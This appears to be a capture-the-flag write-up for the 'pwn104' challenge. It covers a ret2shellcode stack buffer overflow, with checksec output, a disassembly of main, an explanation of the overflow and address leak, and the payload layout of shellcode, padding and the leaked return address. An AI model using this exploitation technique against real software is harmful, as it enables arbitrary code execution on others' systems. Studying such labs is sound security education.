Code Injection Attack，ret2shellcode：

The construct input contains shellcode that allows local and remote overwriting of the return address, making it jump to the shellcode for arbitrary code execution.

Taking pwn104 as an example：

the protection strategy and vulnerability cause are analyzed, and exp is constructed.
Protection policy: NX, canary, and PIE are not enabled.

```
root@debian:~/Documents/Security/Vulns/attacklab# checksec --file=./pwn104
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   46 Symbols
```

Cause of the vulnerability: The read function in the main function can read 0xc8 characters, but buf is stored at rbp-0x50, which is the top of the stack and can overwrite the return address. The printf function %p before it leaks the stack address buf_addr of buf, so it is easy to construct ret2shellcode.

```
130: int main (int argc, char **argv, char **envp);
        ; var void *buf @ rbp-0x50
        0x004011cd      55              push rbp
        0x004011ce      4889e5          mov rbp, rsp
        0x004011d1      4883ec50        sub rsp, 0x50
        0x004011d5      b800000000      mov eax, 0
        0x004011da      e877ffffff      call sym.setup
        0x004011df      b800000000      mov eax, 0
        0x004011e4      e8ceffffff      call sym.banner
        0x004011e9      488d05300f00.  lea rax, str.I_think_I_have_some_super_powers_ ; 0x402120 ; "I think I have some super powers \U0001f4aa"
        0x004011f0      4889c7          mov rdi, rax            ; const char *s
        0x004011f3      e838feffff      call sym.imp.puts       ; int puts(const char *s)
        0x004011f8      488d05490f00.  lea rax, str.especially_executable_powers__n ; 0x402148 ; "especially executable powers \U0001f60e\U0001f4a5\n"
        0x004011ff      4889c7          mov rdi, rax            ; const char *s
        0x00401202      e829feffff      call sym.imp.puts       ; int puts(const char *s)
        0x00401207      488d05620f00.  lea rax, str.Can_we_go_for_a_fight__ ; 0x402170 ; "Can we go for a fight? \U0001f60f\U0001f4aa"
        0x0040120e      4889c7          mov rdi, rax            ; const char *s
        0x00401211      e81afeffff      call sym.imp.puts       ; int puts(const char *s)
        0x00401216      488d45b0        lea rax, [buf]
        0x0040121a      4889c6          mov rsi, rax
        0x0040121d      488d056c0f00.  lea rax, str.Im_waiting_for_you_at__p_n ; 0x402190 ; "I'm waiting for you at %p\n"
        0x00401224      4889c7          mov rdi, rax            ; const char *format
        0x00401227      b800000000      mov eax, 0
        0x0040122c      e80ffeffff      call sym.imp.printf     ; int printf(const char *format)
        0x00401231      488d45b0        lea rax, [buf]
        0x00401235      bac8000000      mov edx, 0xc8           ; 200 ; size_t nbyte
        0x0040123a      4889c6          mov rsi, rax            ; void *buf
        0x0040123d      bf00000000      mov edi, 0              ; int fildes
        0x00401242      b800000000      mov eax, 0
        0x00401247      e804feffff      call sym.imp.read       ; ssize_t read(int fildes, void *buf, size_t nbyte)
        0x0040124c      90              nop
        0x0040124d      c9              leave
        0x0040124e      c3              ret
```

Construct exp104.cpp:

We choose intel x64 **shellcode0(in the same dir)**, length of 26 bytes, construct payload=shellcode0+nop*(0x50+0x8-26)+p64(buf_addr).
If the program receives input using the read function without truncation 0x00, it can override the return address to the address of the instruction jmp rsp and continue to overwrite a piece of shellcode after the return address. This way rsp points to shellcode and jmp rsp reaches shellcode execution.